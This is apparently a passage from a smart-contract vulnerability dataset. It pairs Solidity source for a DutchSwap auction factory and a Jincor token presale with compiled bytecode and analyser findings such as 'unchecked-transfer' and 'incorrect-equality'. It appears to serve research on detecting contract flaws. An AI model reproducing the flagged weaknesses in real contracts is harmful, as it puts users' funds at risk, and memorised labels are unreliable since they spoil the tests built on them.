40160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b7c90919063ffffffff16565b600260040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613a51573d6000803e3d6000fd5b5050565b600033905090565b60008083118290613b09576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613ace578082015181840152602081019050613ab3565b50505050905090810190601f168015613afb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581613b1557fe5b049050809150509392505050565b6000838311158290613bd0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613b95578082015181840152602081019050613b7a565b50505050905090810190601f168015613bc25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b613beb6123ff565b600260030160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613c91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613e086021913960400191505060405180910390fd5b6001600260030160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600260000154600260040160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613d5060016002800154612b7c90919063ffffffff16565b60028001819055508073ffffffffffffffffffffffffffffffffffffffff167fffe88a5f59af245d336238ae39a54e562c15024f255db787524f9abd61c8765a60405160405180910390a250565b6000818310613dad5781613daf565b825b905092915050565b60405180610100016040528060089060208202803683378082019150509050509056fe596f752073686f756c642062652072656769737465726564206c657373207468616e203720646179732061676f5573657220616c7265616479207265676973746572656420666f7220626f6e7573536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212204f19b32b1a7a7e98539abc13326a0f1ed29807e3e759a12e234ea6da6c2e4aa564736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
16
0x3cb6fb749a1fd088e1c524cba27f25b5fdd105c8
pragma solidity ^0.6.9; //::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: //::::::::::: @#::::::::::: @#:::::::::::: #@j::::::::::::::::::::::::: //::::::::::: ##::::::::::: @#:::::::::::: #@j::::::::::::::::::::::::: //::::::::::: ##::::::::::: @#:::::::::::: #@j::::::::::::::::::::::::: //::::: ########: ##:: jU* DUTCh>: ihD%Ky: #@Whdqy::::::::::::::::::::: //::: ###... ###: ##:: #@j: @B... @@7...t: N@N.. R@K::::::::::::::::::: //::: ##::::: ##: ##::.Q@t: @Q::: @Q.::::: N@j:: z@Q::::::::::::::::::: //:::: ##DuTCH##: %@QQ@@S`: hQQQh <R@QN@Q* N@j:: z@Q::::::::::::::::::: //::::::.......: =Q@y....:::....:::......::...:::...::::::::::::::::::: //:::::::::::::: h@W? sWAP@! 'DW;::::::.KK. ydSWAP@t: NNKNQBdt::::::::: //:::::::::::::: 'zqRqj*. L@R h@w: QQ: L@5 Q@z.. d@@: @@U... @Q:::::::: //:::::::::::::::::...... Q@^ ^@@N@wt@BQ@ <@Q^::: @@: @@}::: @@:::::::: //:::::::::::::::::: U@@QKt... D@@L...B@Q.. KDUTCH@Q: @@QQ#QQq::::::::: //:::::::::::::::::::.....::::::...:::...::::.......: @@!.....::::::::: //::::::::::::::::::::::::::::::::::::::::::::::::::: @@!:::::::::::::: //::::::::::::::::::::::::::::::::::::::::::::::::::: @@!:::::::::::::: //::::::::::::::01101100:01101111:01101111:01101011:::::::::::::::::::: //:::::01100100:01100101:01100101:01110000:01111001:01110010::::::::::: //::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: // // DutchSwap Factory // // Authors: // * Adrian Guerrera / Deepyr Pty Ltd // // Appropriated from BokkyPooBah's Fixed Supply Token 👊 Factory // https://www.ethervendingmachine.io // Thanks Bokky! // ---------------------------------------------------------------------------- // SPDX-License-Identifier: GPL-3.0-or-later // SPDX-License-Identifier: UNLICENSED interface IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } contract Owned { address private mOwner; bool private initialised; address public newOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(isOwner()); _; } function _initOwned(address _owner) internal { require(!initialised); mOwner = address(uint160(_owner)); initialised = true; emit OwnershipTransferred(address(0), mOwner); } function owner() public view returns (address) { return mOwner; } function isOwner() public view returns (bool) { return msg.sender == mOwner; } function transferOwnership(address _newOwner) public { require(isOwner()); newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(mOwner, newOwner); mOwner = address(uint160(newOwner)); newOwner = address(0); } function recoverTokens(address token, uint tokens) public { require(isOwner()); if (token == address(0)) { payable(mOwner).transfer((tokens == 0 ? address(this).balance : tokens)); } else { IERC20(token).transfer(mOwner, tokens == 0 ? IERC20(token).balanceOf(address(this)) : tokens); } } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function max(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a <= b ? a : b; } } // ---------------------------------------------------------------------------- // CloneFactory.sol // From // https://github.com/optionality/clone-factory/blob/32782f82dfc5a00d103a7e61a17a5dedbd1e8e9d/contracts/CloneFactory.sol // ---------------------------------------------------------------------------- /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target) internal returns (address result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000) mstore(add(clone, 0xa), targetBytes) mstore(add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } // ---------------------------------------------------------------------------- // White List interface // ---------------------------------------------------------------------------- interface IOwned { function owner() external view returns (address) ; function isOwner() external view returns (bool) ; function transferOwnership(address _newOwner) external; } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- interface IDutchAuction { function initDutchAuction ( address _funder, address _token, uint256 _tokenSupply, uint256 _startDate, uint256 _endDate, address _paymentCurrency, uint256 _startPrice, uint256 _minimumPrice, address payable _wallet ) external ; function auctionEnded() external view returns (bool); function tokensClaimed(address user) external view returns (uint256); function tokenSupply() external view returns(uint256); function auctionToken() external view returns(address); function wallet() external view returns(address); function paymentCurrency() external view returns(address); } contract DutchSwapFactory is Owned, CloneFactory { using SafeMath for uint256; address public dutchAuctionTemplate; struct Auction { bool exists; uint256 index; } address public newAddress; uint256 public minimumFee = 0 ether; mapping(address => Auction) public isChildAuction; address[] public auctions; event DutchAuctionDeployed(address indexed owner, address indexed addr, address dutchAuction, uint256 fee); event AuctionRemoved(address dutchAuction, uint256 index ); event FactoryDeprecated(address newAddress); event MinimumFeeUpdated(uint oldFee, uint newFee); event AuctionTemplateUpdated(address oldDutchAuction, address newDutchAuction ); function initDutchSwapFactory( address _dutchAuctionTemplate, uint256 _minimumFee) public { _initOwned(msg.sender); dutchAuctionTemplate = _dutchAuctionTemplate; minimumFee = _minimumFee; } function numberOfAuctions() public view returns (uint) { return auctions.length; } function removeFinalisedAuction(address _auction) public { require(isChildAuction[_auction].exists); bool finalised = IDutchAuction(_auction).auctionEnded(); require(finalised); uint removeIndex = isChildAuction[_auction].index; emit AuctionRemoved(_auction, auctions.length - 1); uint lastIndex = auctions.length - 1; address lastIndexAddress = auctions[lastIndex]; auctions[removeIndex] = lastIndexAddress; isChildAuction[lastIndexAddress].index = removeIndex; if (auctions.length > 0) { auctions.pop(); } } function deprecateFactory(address _newAddress) public { require(isOwner()); require(newAddress == address(0)); emit FactoryDeprecated(_newAddress); newAddress = _newAddress; } function setMinimumFee(uint256 _minimumFee) public { require(isOwner()); emit MinimumFeeUpdated(minimumFee, _minimumFee); minimumFee = _minimumFee; } function setDutchAuctionTemplate( address _dutchAuctionTemplate) public { require(isOwner()); emit AuctionTemplateUpdated(dutchAuctionTemplate, _dutchAuctionTemplate); dutchAuctionTemplate = _dutchAuctionTemplate; } function deployDutchAuction( address _token, uint256 _tokenSupply, uint256 _startDate, uint256 _endDate, address _paymentCurrency, uint256 _startPrice, uint256 _minimumPrice, address payable _wallet ) public payable returns (address dutchAuction) { dutchAuction = createClone(dutchAuctionTemplate); isChildAuction[address(dutchAuction)] = Auction(true, auctions.length - 1); auctions.push(address(dutchAuction)); require(IERC20(_token).transferFrom(msg.sender, address(this), _tokenSupply)); require(IERC20(_token).approve(dutchAuction, _tokenSupply)); IDutchAuction(dutchAuction).initDutchAuction(address(this), _token,_tokenSupply,_startDate,_endDate,_paymentCurrency,_startPrice,_minimumPrice,_wallet); emit DutchAuctionDeployed(msg.sender, address(dutchAuction), dutchAuctionTemplate, msg.value); } // footer functions function transferAnyERC20Token(address tokenAddress, uint256 tokens) public returns (bool success) { require(isOwner()); return IERC20(tokenAddress).transfer(owner(), tokens); } receive () external payable { revert(); } }
0x6080604052600436106101185760003560e01c806379ba5097116100a0578063d4ee1d9011610064578063d4ee1d9014610378578063dc39d06d1461038d578063de0946af146103c6578063f2fde38b146103f9578063f952cc001461042c57610122565b806379ba5097146102fb5780638da5cb5b146103105780638f32d59b14610325578063c58097801461034e578063ccdb3f451461036357610122565b806344e64077116100e757806344e64077146101e657806350d9d47214610219578063571a26a01461022e5780635b422fcd146102745780636183e76d146102c257610122565b8063069c9fae14610127578063182a7506146101625780631a7626e71461018c578063417279ca146101b357610122565b3661012257600080fd5b600080fd5b34801561013357600080fd5b506101606004803603604081101561014a57600080fd5b506001600160a01b038135169060200135610481565b005b34801561016e57600080fd5b506101606004803603602081101561018557600080fd5b50356105f7565b34801561019857600080fd5b506101a161064a565b60408051918252519081900360200190f35b3480156101bf57600080fd5b50610160600480360360208110156101d657600080fd5b50356001600160a01b0316610650565b3480156101f257600080fd5b506101606004803603602081101561020957600080fd5b50356001600160a01b0316610801565b34801561022557600080fd5b506101a161087c565b34801561023a57600080fd5b506102586004803603602081101561025157600080fd5b5035610882565b604080516001600160a01b039092168252519081900360200190f35b34801561028057600080fd5b506102a76004803603602081101561029757600080fd5b50356001600160a01b03166108a9565b60408051921515835260208301919091528051918290030190f35b3480156102ce57600080fd5b50610160600480360360408110156102e557600080fd5b506001600160a01b0381351690602001356108c8565b34801561030757600080fd5b506101606108f7565b34801561031c57600080fd5b50610258610972565b34801561033157600080fd5b5061033a610981565b604080519115158252519081900360200190f35b34801561035a57600080fd5b50610258610992565b34801561036f57600080fd5b506102586109a1565b34801561038457600080fd5b506102586109b0565b34801561039957600080fd5b5061033a600480360360408110156103b057600080fd5b506001600160a01b0381351690602001356109bf565b3480156103d257600080fd5b50610160600480360360208110156103e957600080fd5b50356001600160a01b0316610a63565b34801561040557600080fd5b506101606004803603602081101561041c57600080fd5b50356001600160a01b0316610ae8565b610258600480360361010081101561044357600080fd5b506001600160a01b038135811691602081013591604082013591606081013591608082013581169160a08101359160c08201359160e0013516610b1b565b610489610981565b61049257600080fd5b6001600160a01b0382166104eb576000546001600160a01b03166108fc82156104bb57826104bd565b475b6040518115909202916000818181858888f193505050501580156104e5573d6000803e3d6000fd5b506105f3565b6000546001600160a01b038084169163a9059cbb9116831561050d5783610580565b604080516370a0823160e01b815230600482015290516001600160a01b038716916370a08231916024808301926020929190829003018186803b15801561055357600080fd5b505afa158015610567573d6000803e3d6000fd5b505050506040513d602081101561057d57600080fd5b50515b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156105c657600080fd5b505af11580156105da573d6000803e3d6000fd5b505050506040513d60208110156105f057600080fd5b50505b5050565b6105ff610981565b61060857600080fd5b600454604080519182526020820183905280517fcc2f49c6214278ae5862935eff953448e8e69118d10abfafaf63ea6aa35255cb9281900390910190a1600455565b60045481565b6001600160a01b03811660009081526005602052604090205460ff1661067557600080fd5b6000816001600160a01b031663864333746040518163ffffffff1660e01b815260040160206040518083038186803b1580156106b057600080fd5b505afa1580156106c4573d6000803e3d6000fd5b505050506040513d60208110156106da57600080fd5b50519050806106e857600080fd5b6001600160a01b0382166000818152600560209081526040918290206001015460065483519485526000190191840191909152815190927fc528cccad9c639c86a5e3fa29584f873df29a52b27c5c018865d597427a52b7092908290030190a1600680546000198101916000918390811061075f57fe5b600091825260209091200154600680546001600160a01b03909216925082918590811061078857fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559183168152600590915260409020600101839055600654156107fa5760068054806107d757fe5b600082815260209020810160001990810180546001600160a01b03191690550190555b5050505050565b610809610981565b61081257600080fd5b600254604080516001600160a01b039283168152918316602083015280517fcc56e57028002b9711486efce1fb8c1df287479e8dda2b895cbd8c4089abf7fc9281900390910190a1600280546001600160a01b0319166001600160a01b0392909216919091179055565b60065490565b6006818154811061088f57fe5b6000918252602090912001546001600160a01b0316905081565b6005602052600090815260409020805460019091015460ff9091169082565b6108d133610dc1565b600280546001600160a01b0319166001600160a01b039390931692909217909155600455565b6001546001600160a01b0316331461090e57600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b6002546001600160a01b031681565b6003546001600160a01b031681565b6001546001600160a01b031681565b60006109c9610981565b6109d257600080fd5b826001600160a01b031663a9059cbb6109e9610972565b846040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610a3057600080fd5b505af1158015610a44573d6000803e3d6000fd5b505050506040513d6020811015610a5a57600080fd5b50519392505050565b610a6b610981565b610a7457600080fd5b6003546001600160a01b031615610a8a57600080fd5b604080516001600160a01b038316815290517f0ac885cfcac9d1450e80f787dbf9546001fb50414106435b10b1d27b448b86689181900360200190a1600380546001600160a01b0319166001600160a01b0392909216919091179055565b610af0610981565b610af957600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600254600090610b33906001600160a01b0316610e36565b6040805180820182526001808252600680546000190160208085019182526001600160a01b038781166000818152600584528881209751885460ff1916901515178855935196860196909655835494850184559282527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f90930180546001600160a01b03191690941790935583516323b872dd60e01b8152336004820152306024820152604481018e905293519495508d16936323b872dd93606480820194918390030190829087803b158015610c0957600080fd5b505af1158015610c1d573d6000803e3d6000fd5b505050506040513d6020811015610c3357600080fd5b5051610c3e57600080fd5b886001600160a01b031663095ea7b3828a6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610c9557600080fd5b505af1158015610ca9573d6000803e3d6000fd5b505050506040513d6020811015610cbf57600080fd5b5051610cca57600080fd5b604080516355b603e360e11b81523060048201526001600160a01b038b81166024830152604482018b9052606482018a90526084820189905287811660a483015260c4820187905260e4820186905284811661010483015291519183169163ab6c07c6916101248082019260009290919082900301818387803b158015610d5057600080fd5b505af1158015610d64573d6000803e3d6000fd5b5050600254604080516001600160a01b039283168152346020820152815192861694503393507f3f18a7c9a87dcc800ca9d07e304371e1b140781acb5ab26b89080e1b96c3d167929081900390910190a398975050505050505050565b600054600160a01b900460ff1615610dd857600080fd5b6000805460ff60a01b196001600160a01b038085166001600160a01b03199093169290921716600160a01b17808355604051911691907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350565b6000808260601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f094935050505056fea2646970667358221220b1c2b4823b036e617b913dfbef2e2713d0de5e5ea684ec8257d23f958324fce164736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
17
0x221b9e453391c24d52c551542d791206f5747c57
pragma solidity ^0.4.15; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /* * Haltable * * Abstract contract that allows children to implement an * emergency stop mechanism. Differs from Pausable by requiring a state. * * * Originally envisioned in FirstBlood ICO contract. */ contract Haltable is Ownable { bool public halted = false; modifier inNormalState { require(!halted); _; } modifier inEmergencyState { require(halted); _; } // called by the owner on emergency, triggers stopped state function halt() external onlyOwner inNormalState { halted = true; } // called by the owner on end of emergency, returns to normal state function unhalt() external onlyOwner inEmergencyState { halted = false; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Burnable * * @dev Standard ERC20 token */ contract Burnable is StandardToken { using SafeMath for uint; /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); function burn(uint256 _value) returns (bool success) { require(balances[msg.sender] >= _value); // Check if the sender has enough balances[msg.sender] = balances[msg.sender].sub(_value);// Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) returns (bool success) { require(balances[_from] >= _value); // Check if the sender has enough require(_value <= allowed[_from][msg.sender]); // Check allowance balances[_from] = balances[_from].sub(_value); // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Burn(_from, _value); return true; } function transfer(address _to, uint _value) returns (bool success) { require(_to != 0x0); //use burn return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) returns (bool success) { require(_to != 0x0); //use burn return super.transferFrom(_from, _to, _value); } } /** * @title JincorToken * * @dev Burnable Ownable ERC20 token */ contract JincorToken is Burnable, Ownable { string public name = "Jincor Token"; string public symbol = "JCR"; uint256 public decimals = 18; uint256 public INITIAL_SUPPLY = 35000000 * 1 ether; /* The finalizer contract that allows unlift the transfer limits on this token */ address public releaseAgent; /** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/ bool public released = false; /** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */ mapping (address => bool) public transferAgents; /** * Limit token transfer until the crowdsale is over. * */ modifier canTransfer(address _sender) { require(transferAgents[_sender] || released); _; } /** The function can be called only before or after the tokens have been releasesd */ modifier inReleaseState(bool releaseState) { require(releaseState == released); _; } /** The function can be called only by a whitelisted release agent. */ modifier onlyReleaseAgent() { require(msg.sender == releaseAgent); _; } /** * @dev Contructor that gives msg.sender all of existing tokens. */ function JincorToken() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } /** * Set the contract that can call release and make the token transferable. * * Design choice. Allow reset the release agent to fix fat finger mistakes. */ function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { // We don&#39;t do interface check here as we might want to a normal wallet address to act as a release agent releaseAgent = addr; } function release() onlyReleaseAgent inReleaseState(false) public { released = true; } /** * Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period. */ function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { transferAgents[addr] = state; } function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { // Call Burnable.transfer() return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { // Call Burnable.transferForm() return super.transferFrom(_from, _to, _value); } function burn(uint256 _value) onlyOwner returns (bool success) { return super.burn(_value); } function burnFrom(address _from, uint256 _value) onlyOwner returns (bool success) { return super.burnFrom(_from, _value); } } contract JincorTokenPreSale is Ownable, Haltable { using SafeMath for uint; string public name = "Jincor Token PreSale"; JincorToken public token; address public beneficiary; uint public hardCap; uint public softCap; uint public price; uint public purchaseLimit; uint public collected = 0; uint public tokensSold = 0; uint public investorCount = 0; uint public weiRefunded = 0; uint public startBlock; uint public endBlock; bool public softCapReached = false; bool public crowdsaleFinished = false; mapping (address => bool) refunded; event GoalReached(uint amountRaised); event SoftCapReached(uint softCap); event NewContribution(address indexed holder, uint256 tokenAmount, uint256 etherAmount); event Refunded(address indexed holder, uint256 amount); modifier preSaleActive() { require(block.number >= startBlock && block.number < endBlock); _; } modifier preSaleEnded() { require(block.number >= endBlock); _; } function JincorTokenPreSale( uint _hardCapUSD, uint _softCapUSD, address _token, address _beneficiary, uint _totalTokens, uint _priceETH, uint _purchaseLimitUSD, uint _startBlock, uint _endBlock ) { hardCap = _hardCapUSD.mul(1 ether).div(_priceETH); softCap = _softCapUSD.mul(1 ether).div(_priceETH); price = _totalTokens.mul(1 ether).div(hardCap); purchaseLimit = _purchaseLimitUSD.mul(1 ether).div(_priceETH).mul(price); token = 